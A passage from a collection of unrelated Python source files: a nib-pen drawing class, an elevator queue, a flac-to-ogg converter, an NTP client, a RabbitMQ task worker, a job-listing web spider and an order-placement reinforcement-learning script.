self.transformPoint(P)\n D = self.transformPoint(P, -1)\n return A, B, C, D\n\n def _moveTo(self, pt):\n t = self.transform.transformPoint(pt)\n self.__currentPoint = t\n self.contourStart = pt\n\n def _lineTo(self, pt):\n \"\"\"\n Points of the nib face:\n\n D1 C1 D2 C2\n X-------------------------X X-------------------------X\n | X | ------> | X |\n X-------------------------X X-------------------------X\n A1 B1 A2 B2\n\n The points A2, B2, C2, D2 are the points of the nib face translated to\n the end of the current stroke.\n \"\"\"\n t = self.transform.transformPoint(pt)\n\n A1, B1, C1, D1 = self.transformedRect(self.__currentPoint)\n A2, B2, C2, D2 = self.transformedRect(t)\n\n AB1 = half(A1, B1)\n BC1 = half(B1, C1)\n CD1 = half(C1, D1)\n DA1 = half(D1, A1)\n\n AB2 = half(A2, B2)\n BC2 = half(B2, C2)\n CD2 = half(C2, D2)\n DA2 = half(D2, A2)\n\n x1, y1 = self.__currentPoint\n x2, y2 = t\n\n # Angle between nib and path\n rho = atan2(y2 - y1, x2 - x1)\n\n path = None\n Q = rho / pi\n\n if Q == 0:\n path = ([AB1], [AB2], [BC2], [CD2], [CD1], [DA1])\n elif 0 < Q < 0.5:\n path = ([half(A1, B1)], (half(B1, C1),), (B2,), (C2,), (D2,), (D1,))\n\n elif 0.5 <= Q <= 1:\n path = ([A1], [B1], [C1], [C2], [D2], [A2])\n\n elif -1 <= Q < -0.5:\n path = ([A2], [B2], [B1], [C1], [D1], [D2])\n\n elif -0.5 <= Q < 0:\n path = ([AB2], [BC2], [CD2], [CD1], [DA1], [AB1])\n\n self.addPath(path)\n\n self.__currentPoint = t\n\n def _curveToOne(self, pt1, pt2, pt3):\n # Insert extrema at angle\n segments = split_at_extrema(\n self.__currentPoint, pt1, pt2, pt3, transform=self.transform\n )\n for segment in segments:\n pt0, pt1, pt2, pt3 = segment\n self._curveToOneNoExtrema(pt1, pt2, pt3)\n\n def _curveToOneNoExtrema(self, pt1, pt2, pt3):\n print(\"_curveToOneNoExtrema\", pt1, pt2, pt3)\n\n A1, B1, C1, D1 = self.transformedRect(self.__currentPoint)\n\n # Control points\n Ac1, Bc1, Cc1, Dc1 = self.transformedRect(pt1)\n Ac2, Bc2, Cc2, Dc2 = self.transformedRect(pt2)\n\n # End points\n A2, B2, C2, D2 = self.transformedRect(pt3)\n\n # Angle at start of curve\n x0, y0 = self.__currentPoint\n x1, y1 = pt1\n rho1 = atan2(y1 - y0, x1 - x0)\n\n # Angle at end of curve\n x2, y2 = pt2\n x3, y3 = pt3\n\n rho2 = atan2(y3 - y2, x3 - x2)\n\n path = None\n\n Q1 = (rho1 / pi)\n Q2 = (rho2 / pi)\n print(f\" Q1: {Q1}, Q2: {Q2}\")\n Q1 = normalize_quadrant(rho1 / pi)\n Q2 = normalize_quadrant(rho2 / pi)\n print(f\" -> Q1: {Q1}, Q2: {Q2}\")\n\n \"\"\"\n Points of the nib face:\n\n D1 C1 D2 C2\n X-------------------------X X-------------------------X\n | X | ------> | X |\n X-------------------------X X-------------------------X\n A1 B1 A2 B2\n\n The points A2, B2, C2, D2 are the points of the nib face translated to\n the end of the current stroke.\n \"\"\"\n seq0 = ((B2,), (C2,), (Cc2, Cc1, C1,), (A1,), (Ac1, Ac2, A2))\n seq1 = ((half(A1, D1),), (half(A1, B1),), (Bc1, Bc2, half(B2, C2)), (half(C2, D2),), (half(D2, A2),), (Dc2, Dc1, half(C1, D1),))\n seq2 = ((B1,), (C1,), (Cc1, Cc2, C2), (D2,), (A2,), (Ac2, Ac1, A1))\n seq3 = ((A2,), (B2,), (Bc2, Bc1, B1), (C1,), (D1,), (Dc1, Dc2, D2))\n if Q1 == 0:\n if Q2 == 0:\n path = seq0\n elif 0 < Q2 < 0.5:\n path = seq1\n elif 0.5 <= Q2 <= 1:\n path = seq1\n elif -0.5 <= Q2 < 0:\n path = seq0\n\n elif 0 < Q1 < 0.5:\n if Q2 == 0:\n path = seq1\n elif 0 <= Q2 < 0.5:\n path = seq1\n elif 0.5 <= Q2 <= 1:\n path = seq1\n elif -1 < Q2 < -0.5:\n pass\n elif -0.5 <= Q2 < 0:\n path = seq0\n\n elif Q1 == 0.5:\n if 0 <= Q2 < 0.5:\n path = seq1\n elif Q2 == 0.5:\n path = seq1\n elif 0.5 <= Q2 <= 1:\n path = seq2\n elif Q2 == -1:\n path = seq2\n\n elif 0.5 < Q1 < 1:\n if 0 <= Q2 < 0.5:\n path = seq1\n elif 0.5 <= Q2 <= 1:\n path = seq2\n elif Q2 == -1:\n path = seq2\n elif -1 < Q2 < -0.5:\n path = seq3\n elif -0.5 <= Q2 < 0:\n path = seq3\n\n elif Q1 == 1:\n if 0 <= Q2 < 0.5:\n path = seq1\n elif Q2 == 0.5:\n path = seq2\n elif 0.5 < Q2 < 1:\n path = seq2\n elif Q2 == 1:\n path = seq2\n elif Q2 == -1:\n path = seq2\n elif -1 < Q2 < -0.5:\n path = seq3\n elif -0.5 <= Q2 < 0:\n path = seq3\n\n elif Q1 == -1:\n if 0 <= Q2 < 0.5:\n path = seq1\n elif Q2 == 0.5:\n path = seq2\n elif 0.5 < Q2 < 1:\n path = seq2\n elif Q2 == 1:\n path = seq2\n elif Q2 == -1:\n path = seq2\n elif -1 < Q2 < -0.5:\n path = seq3\n elif -0.5 <= Q2 < 0:\n path = seq3\n\n elif -1 < Q1 < -0.5:\n if 0 <= Q2 < 0.5:\n print(\"Crash\")\n elif 0.5 <= Q2 <= 1:\n path = seq3\n elif Q2 == -1:\n path = seq3\n elif -1 < Q2 < -0.5:\n path = seq3\n elif -0.5 <= Q2 < 0:\n path = seq3\n\n elif Q1 == -0.5:\n if Q2 == -1:\n path = seq3\n elif -1 < Q2 < -0.5:\n path = seq3\n elif Q2 == -0.5:\n path = seq3\n elif -0.5 <= Q2 < 0:\n path = seq0\n elif Q2 == 0.0:\n path = seq0\n elif Q2 == 1:\n path = seq3\n\n elif -0.5 <= Q1 < 0:\n if 0 <= Q2 < 0.5:\n path = seq0\n elif 0.5 <= Q2 <= 1:\n path = seq3\n elif Q2 == -1:\n path = seq3\n elif -1 < Q2 < -0.5:\n path = seq3\n elif -0.5 <= Q2 < 0:\n path = seq0\n\n self.addPath(path)\n\n self.__currentPoint = pt3\n\n def _closePath(self):\n # Glyphs calls closePath though it is not really needed there ...?\n self._lineTo(self.contourStart)\n self.__currentPoint = None\n\n def _endPath(self):\n if self.__currentPoint:\n # A1, B1, C1, D1 = self.transformedRect(self.__currentPoint)\n # self.addPath(((A1,), (B1,), (C1,), (D1,)))\n self.__currentPoint = None\n","sub_path":"lib/nibLib/pens/fakeOvalNibPen.py","file_name":"fakeOvalNibPen.py","file_ext":"py","file_size_in_byte":9496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"265086468","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nclass elevator:\n\n def __init__(self, uid, bottom, top):\n \"\"\" Initialize variables\n uid -- ID\n top -- Top position\n bottom -- Bottom position\n position -- Current position\n direction -- 0 : down / 1 : up \n queue_up -- Queue up requests\n queue_down -- Queue down requests\n clients -- Connected clients information\n \"\"\" \n self.uid = uid\n self.top = top\n self.bottom = bottom\n self.position = 0\n self.direction = None\n self.queue_up = []\n self.queue_down = []\n self.clients = []\n \n def goto(self, request):\n \"\"\" Gets the request and moves up or down, set the current position\n and returns the steps into a list to the main application\n request - Requested position\n position -- Current position\n steps -- Motion's steps\n \"\"\"\n steps = []\n\n if request <= self.top \\\n and request >= self.bottom:\n # Moving up\n if request > self.position:\n self.direction = 1\n for i in range(request - self.position):\n steps.append(\"Moving up from %s to %s\\n\" % \\\n (i + self.position, request))\n # Or moving down \n elif request < self.position:\n self.direction = 0\n for i in range(self.position - request):\n steps.append(\"Moving down from %s to %s\\n\" % \\\n (self.position - i, request))\n # Set current position\n self.position = request\n return steps\n \n def status(self):\n \"\"\" Return current status \"\"\"\n return \"\\nID: %s \\nTop: %s\\nPosition: %s\\nClients: %s\\n\" % \\\n (self.uid, self.top, self.position, len(self.clients)) + \"\\n\"\n\n def queue(self, request, direction):\n \"\"\" Sorts the requests queue\n Scans toward the nearest end and attends along the way.\n Once hits the bottom or top it jumps to the other end and\n moves in the same direction. Something like circular scan.\n \"\"\"\n if direction is 1 and request not in self.queue_up:\n self.queue_up.append(request)\n self.queue_up.sort()\n q = [ a for a in self.queue_up if a > self.position ] + \\\n [ b for b in self.queue_up if b < self.position ]\n self.queue_up = q\n \n elif direction is 0 and request not in self.queue_down:\n self.queue_down.append(request)\n self.queue_down.sort(reverse=True)\n q = [ a for a in self.queue_down if a < self.position ] + \\\n [ b for b in self.queue_down if b > self.position ]\n self.queue_down = q\n\n def catchclient(self, client):\n \"\"\" Get connected clients information \"\"\"\n self.clients.append(client)\n","sub_path":"elevator.py","file_name":"elevator.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"512761306","text":"#!/usr/bin/env python3\n\"\"\"Flac2ogg: script for converting flac files to ogg format files.\"\"\"\n\nimport os\nimport sys\nimport signal\nimport re\nimport logging\nimport taglib\nimport json\n\nfrom subprocess import call\nfrom optparse import OptionParser\n\n\ndef convert_flac_to_ogg(source_path, target_path):\n \"\"\"Convert flac file to oog.\"\"\"\n # Convert file if file does not exist, or source has been updated\n if not os.path.isfile(target_path) or \\\n (os.path.getctime(source_path) > os.path.getctime(target_path)):\n print(f'Converting {os.path.basename(source_path)}...', end='', file=sys.stdout, flush=True)\n\n run_args = 'ffmpeg -nostdin -loglevel -8 -i \\\"' + source_path + \\\n '\\\" -acodec libvorbis -aq 5 \\\"' + target_path + '\\\"'\n\n try:\n # Remove old file before convert\n if os.path.isfile(target_path) and options.overwriteTarget:\n os.remove(target_path)\n\n if not os.path.isfile(target_path):\n if call(run_args, shell=True) != 0:\n print('Failed')\n\n logging.debug(f'Failed to convert {source_path}')\n logging.debug(f'Failed Command: {run_args}')\n else:\n print('Done')\n else:\n logging.debug(f'Cannot convert file {source_path} target exists, \\\n enable overwrite to force')\n\n except (KeyboardInterrupt, SystemExit):\n # Clean up partially converted file\n if os.path.isfile(target_path):\n os.remove(target_path)\n logging.debug(f'Conversion of {source_path} aborted')\n\n\ndef format_path_from_tags(file_path):\n \"\"\"Build path from file tags.\"\"\"\n def remove_special(input_str):\n regex = re.compile(r\"[\\\":><*/|?$]\")\n return re.sub(regex, '', input_str)\n\n song = taglib.File(file_path)\n artist, album, title, track = (\n remove_special(song.tags[\"ARTIST\"][0]),\n remove_special(song.tags['ALBUM'][0]),\n remove_special(song.tags['TITLE'][0]),\n remove_special(song.tags['TRACKNUMBER'][0])\n )\n if artist and title and track:\n\n if file_path.startswith(os.path.join(sourceFolder)):\n baseFolder = sourceFolder\n fileExt = sourceExt\n else:\n baseFolder = targetFolder\n fileExt = targetExt\n\n if file_path.startswith(os.path.join(baseFolder, \"Various\")):\n artist = \"Various\"\n\n filename = f'{track} - {title}{fileExt}'\n new_file_path = os.path.join(baseFolder, artist, album, filename)\n else:\n raise ValueError(\"Missing tags in file\")\n\n return new_file_path\n\n\ndef rename_directory(file_path):\n \"\"\"Rename directory based on tags from file.\"\"\"\n try:\n new_file_path = format_path_from_tags(file_path)\n except ValueError:\n logging.debug(f'Rename Failed (missing tags in file) {file_path}')\n return file_path\n\n if file_path != new_file_path:\n\n # Rename the directories\n if os.path.isfile(file_path):\n os.renames(file_path, new_file_path)\n\n file_path = new_file_path\n\n # Update counter and log rename action if needed\n if file_path != new_file_path:\n logging.debug(f'Renamed: {file_path} => {new_file_path}')\n\n return file_path\n\n\ndef exit_gracefully(signal, frame):\n \"\"\"Exit script exit_gracefully when forces break.\"\"\"\n print('\\nExiting user pressed Ctrl-C')\n sys.exit(1)\n\n\nif __name__ == '__main__':\n signal.signal(signal.SIGINT, exit_gracefully)\n\n # Load the config file\n # Config file may be overridden on the command line\n with open('flac2ogg.json') as json_data_file:\n config = json.load(json_data_file)\n\n # Setup logging\n logPath = os.path.join(os.path.dirname(\n os.path.realpath(__file__)), 'flac2ogg.log')\n logging.basicConfig(filename=logPath, level=logging.DEBUG,\n format='%(levelname)s:%(asctime)-15s:%(message)s')\n\n sourceExt = '.flac'\n targetExt = '.ogg'\n sourceFolder = os.path.expanduser(config[\"paths\"][\"source\"])\n targetFolder = os.path.expanduser(config[\"paths\"][\"target\"])\n\n # Read commandline options. Commandline options will override\n # the configuration file.\n parser = OptionParser()\n\n parser.add_option(\"-o\", action=\"store_false\", dest=\"overwriteTarget\",\n default=config[\"options\"][\"overwrite\"],\n help=\"Overwrite existing files in target [%default]\")\n\n parser.add_option(\"-r\", action=\"store_true\",\n dest=\"renameDirectories\", default=config[\"options\"][\"rename\"],\n help=\"Rename directories/Files [%default]\")\n\n parser.add_option(\"-s\", action=\"store\", type=\"string\", dest=\"source\", default=sourceFolder,\n help=\"source folder [%default]\")\n\n parser.add_option(\"-t\", action=\"store\", type=\"string\", dest=\"target\", default=targetFolder,\n help=\"target folder [%default]\")\n\n (options, args) = parser.parse_args()\n\n sourceFolder = options.source\n targetFolder = options.target\n\n file_count = 0\n renamed_count = 0\n converted_count = 0\n\n # Walk the folder structure and convert files as needed.\n if os.path.isdir(sourceFolder):\n\n # Recurse source folder outputting converted files for each flac file\n for dirpath, dirs, files in os.walk(sourceFolder):\n\n for filename in [f for f in files if (f.endswith(sourceExt))]:\n\n file_count += 1\n\n # Create output folder if it does not exist\n out_folder = dirpath.replace(sourceFolder, targetFolder)\n if not os.path.isdir(out_folder):\n os.makedirs(out_folder)\n # Build target path string based on output folder, filename\n # and extension\n source_path = os.path.join(dirpath, filename)\n target_path = os.path.splitext(os.path.join(out_folder, filename))[0] + targetExt\n\n # Rename source and target folders if needed\n if options.renameDirectories:\n sourcePath = rename_directory(source_path)\n if os.path.isfile(target_path):\n targetPath = rename_directory(target_path)\n renamed_count += 1\n\n convert_flac_to_ogg(source_path, target_path)\n converted_count += 1\n\n print(f'Files Processed: {file_count}, Converted: {converted_count} Renamed: {renamed_count}')\n","sub_path":"flac2ogg.py","file_name":"flac2ogg.py","file_ext":"py","file_size_in_byte":6587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"156094408","text":"import ntplib\nimport time\nimport sys\nimport logging\nimport socket\n\n\ndef get_network_time(ntp_server):\n \"\"\" Fonction pour récupérer l'heure à partir d'un server NTP\n Nom fonction: get_network_time()\n Paramètre: server, un server NTP\n Return: une date sous la forme : 'Jour Mois NumJour Heure:Min:Sec Année en UTC +0' \"\"\"\n\n # Création d'un client via la librairie ntplib\n c = ntplib.NTPClient()\n\n # Requête au server ntp\n response = c.request(ntp_server)\n\n # Récupération de la réponse\n ts = response.tx_time\n\n # time.ctime convertie une date/heure exprimée en sec depuis epoch (1er janvier 1970 00:00:00 UTC +0) en date\n return time.ctime(ts)\n\n\ndef main_ntp(server):\n\n # Configuration du logging\n logging.basicConfig(filename=\"std.log\",\n format='%(asctime)s %(message)s',\n filemode='w')\n logger = logging.getLogger()\n logger.setLevel(logging.INFO)\n\n # Création et configuration d'un handler\n handler = logging.StreamHandler(sys.stdout)\n handler.setLevel(logging.INFO)\n formatter = logging.Formatter('%(asctime)s - %(message)s')\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n\n try:\n logger.info(get_network_time(server))\n logger.removeHandler(handler)\n\n # Si la fonction retourne une NTPException\n except ntplib.NTPException:\n logging.basicConfig(filename=\"std.log\",\n format='%(asctime)s %(message)s',\n filemode='w')\n logger.error(\"Error NTPException\")\n logger.removeHandler(handler)\n\n # Si la fonction retourne une socket.gaierror\n except socket.gaierror:\n # Indique sur la console que la connexion au server NTP à fail et de rentrée une address NTP valide\n\n # Enregistrement de l'erreur dans le fichier std.log\n logging.basicConfig(filename=\"std.log\",\n format='%(asctime)s %(message)s',\n filemode='w')\n logger.warning(\"Failed address lookup\")\n logger.removeHandler(handler)\n\n logger.removeHandler(handler)\n","sub_path":"IHM/ClientNTP.py","file_name":"ClientNTP.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"404890129","text":"#!/usr/bin/env python\nfrom datetime import datetime\nimport pika\nimport os\nimport steps # noqa: F401\nimport json\n\nfrom climate_simulation_platform.db import step_parameters, save_step, step_seen\nfrom climate_simulation_platform import create_app\n\n\n# -*- coding: utf-8 -*-\n# pylint: disable=C0111,C0103,R0205\n\nimport functools\nimport logging\nimport threading\n\nLOG_FORMAT = (\n \"%(levelname) -10s %(asctime)s %(name) -30s %(funcName) \"\n \"-35s %(lineno) -5d: %(message)s\"\n)\nLOGGER = logging.getLogger(__name__)\n\nlogging.basicConfig(level=logging.INFO, format=LOG_FORMAT)\n\n\ndef func_params(func, body):\n # If invalidated isn't in keys then this is a \"root\" call meaning it should be run\n if \"invalidated\" not in body.keys():\n return body\n # If 'invalidated': 'y(es)' in the body then this means the step has been invalidated\n # It should be rerun IF it has already been run before OR has no params\n # We will rerun it with the same parameters\n if \"invalidated\" in body.keys() and body[\"invalidated\"].lower() in [\"yes\", \"y\"]:\n if \"has_params\" in body.keys() and body[\"has_params\"].lower() in [\"no\", \"n\"]:\n return body\n app = create_app()\n with app.app_context():\n if step_seen(body[\"id\"], func):\n return step_parameters(body[\"id\"], func)\n return None\n\n\ndef run_function(method, body):\n app = create_app()\n routing_key = method.routing_key\n print(\n f\" [x] {datetime.now()} Received message from {routing_key} with body: {body.decode()}\",\n flush=True,\n )\n func = routing_key.split(\".\")[1]\n body = json.loads(body.decode())\n params = func_params(func, body)\n if params is not None:\n _id = body[\"id\"]\n if func != \"invalidate\":\n with app.app_context():\n save_step(_id, func, params, up_to_date=False)\n eval(f\"steps.{func}({params})\")\n if func != \"invalidate\":\n with app.app_context():\n save_step(_id, func, params, up_to_date=True)\n\n\ndef send_response_done(method, body, channel=None):\n if channel is None:\n channel = setup_channel()\n\n routing_key = method.routing_key\n routing_key_done = \".\".join([*routing_key.split(\".\")[:2], \"done\"])\n channel.basic_publish(\n exchange=\"preprocessing\",\n routing_key=routing_key_done,\n body=body,\n properties=pika.BasicProperties(\n delivery_mode=2, # make message persistent\n ),\n )\n print(\n \" [x] Sent message to {} {}\".format(routing_key_done, body),\n flush=True,\n )\n\n\ndef setup_channel():\n connection = pika.BlockingConnection(\n pika.ConnectionParameters(host=os.environ[\"BROKER_HOSTNAME\"])\n )\n channel = connection.channel()\n\n channel.exchange_declare(exchange=\"preprocessing\", exchange_type=\"topic\")\n channel.queue_declare(queue=\"preprocessing_mosaix_task_queue\", durable=True)\n\n channel.queue_bind(\n exchange=\"preprocessing\",\n queue=\"preprocessing_mosaix_task_queue\",\n routing_key=\"preprocessing.*.mosaix\",\n )\n return channel\n\n\n# def main():\n# # connection = pika.BlockingConnection(\n# # pika.ConnectionParameters(host=os.environ[\"BROKER_HOSTNAME\"])\n# # )\n\n# # channel = connection.channel()\n\n# # channel.exchange_declare(exchange=\"preprocessing\", exchange_type=\"topic\")\n# # channel.queue_declare(queue=\"preprocessing_mosaic_task_queue\", durable=True)\n\n# # channel.queue_bind(\n# # exchange=\"preprocessing\",\n# # queue=\"preprocessing_mosaic_task_queue\",\n# # routing_key=\"preprocessing.*.mosaic\",\n# # )\n\n# def callback(ch, method, properties, body):\n# # Acknowldeg we have received the message -> We\n# # do this first because if the process is too long running\n# # Then the broker kicks us out\n# ch.basic_ack(delivery_tag=method.delivery_tag)\n# # print(\" [x] ch: \", ch, flush=True)\n# # print(\" [x] method: \", method, flush=True)\n# # print(\" [x] properties: \", properties, flush=True)\n# print(\" [x] Received %r\" % body.decode(), flush=True)\n\n\n# print(\" [x] Done\", flush=True)\n\n# channel.basic_qos(prefetch_count=1)\n# channel.basic_consume(\n# queue=\"preprocessing_mosaic_task_queue\", on_message_callback=callback\n# )\n\n# print(\" [*] Waiting for messages. To exit press CTRL+C\", flush=True)\n# channel.start_consuming()\n\n\n# if __name__ == \"__main__\":\n# try:\n# main()\n# except KeyboardInterrupt:\n# print(\"Interrupted\")\n# try:\n# sys.exit(0)\n# except SystemExit:\n# os._exit(0)\n\n\ndef ack_message(ch, delivery_tag, method, body):\n \"\"\"Note that `ch` must be the same pika channel instance via which\n the message being ACKed was retrieved (AMQP protocol constraint).\n \"\"\"\n if ch.is_open:\n ch.basic_ack(delivery_tag)\n send_response_done(method, body, channel=ch)\n else:\n # Channel is already closed, so we can't ACK this message;\n # log and/or do something that makes sense for your app in this case.\n send_response_done(method, body)\n\n\ndef do_work(conn, ch, method, delivery_tag, body):\n thread_id = threading.get_ident()\n LOGGER.info(\n \"Thread id: %s Delivery tag: %s Message body: %s\", thread_id, delivery_tag, body\n )\n run_function(method, body)\n cb = functools.partial(ack_message, ch, delivery_tag, method, body)\n conn.add_callback_threadsafe(cb)\n\n\ndef on_message(ch, method_frame, _header_frame, body, args):\n (conn, thrds) = args\n print(f\" [x] {datetime.now()} Received {body.decode()}\", flush=True)\n delivery_tag = method_frame.delivery_tag\n t = threading.Thread(\n target=do_work, args=(conn, ch, method_frame, delivery_tag, body)\n )\n t.start()\n thrds.append(t)\n\n\n# # Note: sending a short heartbeat to prove that heartbeats are still\n# # sent even though the worker simulates long-running work\nparameters = pika.ConnectionParameters(host=os.environ[\"BROKER_HOSTNAME\"], heartbeat=5)\nconnection = pika.BlockingConnection(parameters)\n\n\nchannel = connection.channel()\nchannel.exchange_declare(exchange=\"preprocessing\", exchange_type=\"topic\")\nchannel.queue_declare(queue=\"preprocessing_mosaix_task_queue\", durable=True)\n\nchannel.queue_bind(\n exchange=\"preprocessing\",\n queue=\"preprocessing_mosaix_task_queue\",\n routing_key=\"preprocessing.*.mosaix\",\n)\n# Note: prefetch is set to 1 here as an example only and to keep the number of threads created\n# to a reasonable amount. In production you will want to test with different prefetch values\n# to find which one provides the best performance and usability for your solution\nchannel.basic_qos(prefetch_count=1)\n\nthreads = []\non_message_callback = functools.partial(on_message, args=(connection, threads))\nchannel.basic_consume(\"preprocessing_mosaix_task_queue\", on_message_callback)\n\ntry:\n channel.start_consuming()\nexcept KeyboardInterrupt:\n channel.stop_consuming()\n\n# Wait for all to complete\nfor thread in threads:\n thread.join()\n\nconnection.close()\n","sub_path":"Multi_Page_WebApp/services/mosaix/receive.py","file_name":"receive.py","file_ext":"py","file_size_in_byte":7117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"401863302","text":"\"\"\"This file is a Pnet spider created on top of the ATSSpider\n\nscrapy crawl pnet -a url=\"http://www.pnet.co.za/5/job-search-simple.html\" -a mining_job_id=999 -a iteration=1 -a extract=1\nsample url:\n http://www.pnet.co.za/5/job-search-simple.html\n\"\"\"\nfrom urlparse import urljoin\nfrom re import compile\n\nfrom scrapy.selector import Selector\nfrom scrapy.http import Request\nfrom scrapy.conf import settings\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import ConvertDateString, Prefix, ShrinkURL\n\n\nclass Pnet(ATSSpider):\n\n name = 'pnet'\n ref_reg = compile('--(\\d*)-')\n params = ['suid', 'ssaPOP', 'ssaPOR']\n\n def __init__(self, *args, **kwargs):\n super(Pnet, self).__init__(*args, **kwargs)\n settings.overrides['USER_AGENT'] = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0'\n\n def parse(self, response):\n sel = Selector(response)\n # Set expected job count\n if not self.expected_job_count_set:\n expected_count = sel.xpath(\n \"//span[@id='numberResults']/text()\"\n ).extract()\n if expected_count:\n self.expected_job_count = expected_count[0]\n\n jobs = sel.xpath(\n \"//div[contains(@class,'joblisting listing-odd') or contains(@class,'joblisting listing-even')]\"\n )\n for job in jobs:\n link = job.xpath(\n \"./div[@class='job_info']/div[contains(@class,'job_title')]/a/@href\"\n ).extract()\n if link:\n job_url = urljoin(response.url, link[0])\n meta = {\n 'date': job.xpath(\n \"./div[@class='job_location_date']//time/text()\"\n ).extract(),\n 'company': job.xpath(\n \"./div[@class='job_info']/div[@itemprop='hiringOrganization']/span/text()\"\n ).extract(),\n 'location': job.xpath(\n \"./div[@class='job_location_date']//span[@itemprop='addressLocality']/text()\"\n ).extract(),\n 'title': job.xpath(\n \"./div[@class='job_info']/div[contains(@class,'job_title')]/a/span[@itemprop='title']/text()\"\n ).extract(),\n }\n yield Request(\n job_url, meta=meta, callback=self.parse_job_callback()\n )\n\n next_page = sel.xpath(\n \"//a[@id='navigation_next_link']/@href\"\n ).extract()\n if next_page:\n next_url = urljoin(response.url, next_page[0])\n yield Request(next_url, callback=self.parse)\n\n def parse_job(self, response):\n\n sel = Selector(response)\n loader = BrightcorpItemLoader(selector=sel)\n description_xpaths = [\n '//div[@id=\"company-intro\"]/node()',\n '//div[@id=\"job-tasks\"]/node()',\n '//div[@id=\"company-weoffer\"]/node()',\n '//div[@class=\"joboffer\"]/div[@class=\"jobtext\"]',\n ]\n\n loader.add_value(\n 'url', response.url, ShrinkURL(self.params)\n )\n\n loader.add_value(\n 'apply_url', response.url, ShrinkURL(self.params)\n )\n loader.add_value(\n 'title', response.meta[\"title\"]\n )\n loader.add_xpath(\n 'description', description_xpaths\n )\n loader.add_value(\n 'company', response.meta[\"company\"]\n )\n loader.add_value(\n 'location', response.meta[\"location\"]\n )\n loader.add_xpath(\n 'requirements', '//div[@id=\"job-requim\"]/node()'\n )\n loader.add_xpath(\n 'jobtype', '//span[@itemprop=\"employmentType\"]/text()'\n )\n loader.add_value(\n 'referencenumber', response.url, Prefix(self.name + \"-\"),\n re=self.ref_reg\n )\n loader.add_value(\n 'date', response.meta[\"date\"], ConvertDateString(\"%d.%m.%y\")\n )\n # if job description is not in normal template, then\n # take all content from common container for description\n if not loader.get_output_value(\"description\"):\n loader.add_xpath(\n 'description', '//div[@class=\"listingContent\"]/node()'\n )\n\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/pnet_co_za.py","file_name":"pnet_co_za.py","file_ext":"py","file_size_in_byte":4501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"593227802","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 16 09:23:34 2019\n\n@author: othmane.mounjid\n\"\"\"\n\n### Load paths \nimport os \nimport sys\nPath_parent_directory = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nsys.path.insert(0,Path_parent_directory + \"\\\\Plotting\")\nsys.path.insert(0,Path_parent_directory + \"\\\\Utils\")\nsys.path.insert(0,Path_parent_directory + \"\\\\OptiPlacement\\\\rLAlgorithms\")\n\n####### Import liraries \nimport pass_ as op_place_pass\nimport solTheo\nfrom errors import error_1\nimport numpy as np \nimport pandas as pd\nimport plotting as pltg\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n###############################################################################\n###############################################################################\n########################################## End functions ######################\n###############################################################################\n###############################################################################\n\n#### Compute the result\n######### Initialize the parameters ::Intensity values\npath = Path_parent_directory + \"\\\\OptiPlacement\\\\Data\\\\\"\nfilename = \"Intens_val_qr.csv\"\nIntens_val = pd.read_csv(path + filename, index_col = 0)\nIntens_val_bis = Intens_val[Intens_val['Spread'] == 1].groupby(['BB size']).agg({'Limit':'mean', 'Cancel': 'mean', 'Market': 'mean'}).loc[:10,:]\nIntens_val_bis.reset_index(inplace = True)\nIntens_val_bis.loc[0,['Cancel','Market']] = 0\n \n######### Show the database\nprint(Intens_val_bis.head(10))\n\n######### Theoretical solution : numerical scheme\ntol = 0.1\nsize_q = Intens_val_bis.shape[0]\nnb_iter_scheme = 400\nreward_exec_1 = lambda qsame,bb_pos: op_place_pass.reward_exec(qsame, bb_pos, gain = 6, cost_out = -0.6, cost_stay = -0.2)\ndf_bis = solTheo.Sol_num_scheme(nb_iter_scheme,size_q,Intens_val_bis,tol = tol,reward_exec_1 = reward_exec_1)\n\n\n######### Simulation of the order book\n##### Initialization of the parameters\nqb_0 = 2# 4\nbb_pos_0 = qb_0 -1\nLob_state_0 = [qb_0,bb_pos_0] \nwrite_option = True\nnb_iter = 100\ngamma = 0.1 ## learning rate\nh_0_init = 5*np.ones((size_q,size_q+1))\nh_0_Stay_init = np.ones((size_q,size_q+1))\nh_0_Mkt_init = np.ones((size_q,size_q+1))\nh_0 = np.array(h_0_init)\nh_0_Stay = np.array(h_0_Stay_init)\nh_0_Mkt = np.array(h_0_Mkt_init)\nh_0_theo = solTheo.Read_h_0_theo(df_bis[\"Value_opt\"].values,size_q,reward_exec_1)\nError = lambda x : error_1(np.nan_to_num(h_0_theo),np.nan_to_num(x))\n\n######### Test RL methods \n########### global parameters\nnb_episode = 300 ## upper loop iterations\nfreq_print = 40\nnb_iter = 100 ## inner loop iterations\nqb_0 = 2 # 4\nbb_pos_0 = qb_0 -1\nLob_state_0 = [qb_0,bb_pos_0] ## initial state\neta = 1 ## discount factor\nwrite_option = False\n\n########### Alg 2 : increase gamma same sign v2 : of the proximal gradient algorithm : \nh_0 = np.array(h_0_init)\nh_0_Stay = np.array(h_0_Stay_init)\nh_0_Mkt = np.array(h_0_Mkt_init)\ninner_loop_func = op_place_pass.Lob_simu_inner_loop11\nalpha_0 = 1\nalpha_max = 3\nr = 0.5\npctg_0 = 0.05\nh_011,error_h011,nb_past_011,h_011_Stay,h_011_Mkt = op_place_pass.Lob_simu_super_Loop4(nb_episode,Intens_val_bis,nb_iter, inner_loop_func = inner_loop_func, gamma= gamma,Lob_state_0=Lob_state_0,freq_print=freq_print,size_q = size_q,Error=Error, write_option = write_option, h_0 = h_0, reward_exec = 